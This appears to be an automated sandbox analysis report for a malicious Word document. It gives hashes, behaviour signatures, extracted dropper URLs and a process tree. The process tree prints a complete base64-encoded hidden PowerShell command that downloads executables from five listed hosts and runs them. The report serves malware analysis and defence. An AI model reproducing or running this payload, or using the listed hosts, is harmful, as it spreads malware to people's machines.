Analysis

  • max time kernel
    119s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    20-11-2024 21:49

General

  • Target

    3fd7e4fa720f2f7f604709808895d5bf488618ac295de97120ad1a3a8a296009.doc

  • Size

    177KB

  • MD5

    cef4ead9e2724f482eee71be641fd73f

  • SHA1

    3bb8b7be1e1b65faf70fc53206e39aa0a1b7087b

  • SHA256

    3fd7e4fa720f2f7f604709808895d5bf488618ac295de97120ad1a3a8a296009

  • SHA512

    7012df4bd9bb093e22e3fbfd1a244cdf335f2c63f1a59fd13994847ba5b670f792aa02793d0ac3d5f59469900c37fa0fe8c26077eafccdc13d7c934554e25f2c

  • SSDEEP

    3072:te2y/GdyDktGDWLS0HZWD5w8K7Nk9+D7IBUsQdY/R9LG3:te2k4TtGiL3HJk9+D7bsuOLL2

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://trendinformatica.eu/arcfabrics/i88ixy9/

exe.dropper

http://theomelet.com/wp-content/fQd/

exe.dropper

http://kgd898.com/wp-admin/h45mi/

exe.dropper

http://idealssschang.com/calendar/60PcB/

exe.dropper

http://happiness360degree.com/wp-admin/fj/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\3fd7e4fa720f2f7f604709808895d5bf488618ac295de97120ad1a3a8a296009.doc"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2896
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2840
    • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
      Powershell -w hidden -en JABHAGsAYgBlAGkAbgBoAG4AZAB4AD0AJwBKAHMAawB0AHoAYgBxAGgAdgBpAHIAaQAnADsAJABHAHIAegBoAHAAaQBsAGMAeQAgAD0AIAAnADUAMAA2ACcAOwAkAFYAZQBnAGsAcAB2AGgAbABjAGUAbwBiAD0AJwBIAHcAaAB5AHcAcQBvAGYAcABtACcAOwAkAE4AbgBkAHMAcgBuAGcAcwBrAHAAdAB1AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABHAHIAegBoAHAAaQBsAGMAeQArACcALgBlAHgAZQAnADsAJABCAHAAeQBzAHMAcgB4AHQAbAA9ACcATQBzAHoAYwBoAGgAbwBsAHoAbwB2AG8AbAAnADsAJABFAG8AZgBpAGMAbwBnAHEAaQA9ACYAKAAnAG4AZQB3AC0AbwBiAGoAZQAnACsAJwBjACcAKwAnAHQAJwApACAAbgBFAFQALgB3AEUAQgBDAEwAaQBFAG4AVAA7ACQAUwBhAHcAawB2AHkAYwBrAHgAegBzAD0AJwBoAHQAdABwADoALwAvAHQAcgBlAG4AZABpAG4AZgBvAHIAbQBhAHQAaQBjAGEALgBlAHUALwBhAHIAYwBmAGEAYgByAGkAYwBzAC8AaQA4ADgAaQB4AHkAOQAvACoAaAB0AHQAcAA6AC8ALwB0AGgAZQBvAG0AZQBsAGUAdAAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAGYAUQBkAC8AKgBoAHQAdABwADoALwAvAGsAZwBkADgAOQA4AC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBoADQANQBtAGkALwAqAGgAdAB0AHAAOgAvAC8AaQBkAGUAYQBsAHMAcwBzAGMAaABhAG4AZwAuAGMAbwBtAC8AYwBhAGwAZQBuAGQAYQByAC8ANgAwAFAAYwBCAC8AKgBoAHQAdABwADoALwAvAGgAYQBwAHAAaQBuAGUAcwBzADMANgAwAGQAZQBnAHIAZQBlAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBmAGoALwAnAC4AIgBzAHAATABgAEkAVAAiACgAJwAqACcAKQA7ACQAUQB2AGYAcABwAHUAagBoAHQAcgA9ACcATAB4AGUAagBhAHgAegB1AGcAdwAnADsAZgBvAHIAZQBhAGMAaAAoACQAQQBxAGkAdwBvAGUAbABiAGwAIABpAG4AIAAkAFMAYQB3AGsAdgB5AGMAawB4AHoAcwApAHsAdAByAHkAewAkAEUAbwBmAGkAYwBvAGcAcQBpAC4AIgBEAGAAbwBgAHcAbgBMAE8AQQBEAEYASQBgAEwAZQAiACgAJABBAHEAaQB3AG8AZQBsAGIAbAAsACAAJABOAG4AZABzAHIAbgBnAHMAawBwAHQAdQApADsAJABZAGEAYQBiAHQAZwBhAG0AaQA9ACcAQwBuAHYAdQBjAGMAawBnACcAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQBJACcAKwAnAHQAZQAnACsAJwBtACcAKQAgACQATgBuAGQAcwByAG4AZwBzAGsAcAB0AHUAKQAuACIATABgAGUATgBHAFQASAAiACAALQBnAGUAIAAyADgANQAzADQAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAUwBgAFQAYQByAHQAIgAoACQATgBuAGQAcwByAG4AZwBzAGsAcAB0AHUAKQA7ACQAQwBvAHYAZgB1AHEAbQBwAGMAdQBoAHgAcgA9ACcASQBvAG4AcQBhAGIAYwB3AGIAdgBlAGQAJwA7AGIAcgBlAGEAawA7ACQAVwBwAGMAbgBiAHkAbQBmAG8AbABrAGEAPQAnAEYAdQBxAGUAZgBpAHUAdgB0ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFcAegByAHQAagBxAG0AcAB4AGcAZQBmAD0AJwBRAGgAYwBhAGIAZwBhAGgAdwBxAGgAJwA=
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2232

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\4E7F4474.wmf

      Filesize

      444B

      MD5

      c3028a7893c81a444da0d2dbc36d47ad

      SHA1

      e6266c19566ccfb29d26431138a1c7cecf609b59

      SHA256

      27b6691f2f6a1acca76430a20b9d880a9560f01186f4c0e526f61748c6ceeb31

      SHA512

      989fc698f5ecab5d0f098ce6e722d426db2e47486bbd9012a05d1c4b7ee2c6ed27f3c5fa1d8e8e4b2d9017e4aa51d67e7d990220d595af271258498274fbf9f8

    • memory/2232-34-0x00000000022D0000-0x00000000022D8000-memory.dmp

      Filesize

      32KB

    • memory/2232-33-0x000000001B580000-0x000000001B862000-memory.dmp

      Filesize

      2.9MB

    • memory/2896-7-0x0000000006230000-0x0000000006330000-memory.dmp

      Filesize

      1024KB

    • memory/2896-0-0x000000002F191000-0x000000002F192000-memory.dmp

      Filesize

      4KB

    • memory/2896-16-0x0000000006AB0000-0x0000000006BB0000-memory.dmp

      Filesize

      1024KB

    • memory/2896-23-0x0000000006AB0000-0x0000000006BB0000-memory.dmp

      Filesize

      1024KB

    • memory/2896-27-0x0000000006AB0000-0x0000000006BB0000-memory.dmp

      Filesize

      1024KB

    • memory/2896-26-0x0000000006AB0000-0x0000000006BB0000-memory.dmp

      Filesize

      1024KB

    • memory/2896-2-0x0000000070FED000-0x0000000070FF8000-memory.dmp

      Filesize

      44KB

    • memory/2896-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2896-41-0x0000000070FED000-0x0000000070FF8000-memory.dmp

      Filesize

      44KB

    • memory/2896-42-0x0000000006230000-0x0000000006330000-memory.dmp

      Filesize

      1024KB

    • memory/2896-43-0x0000000006AB0000-0x0000000006BB0000-memory.dmp

      Filesize

      1024KB

    • memory/2896-44-0x0000000006AB0000-0x0000000006BB0000-memory.dmp

      Filesize

      1024KB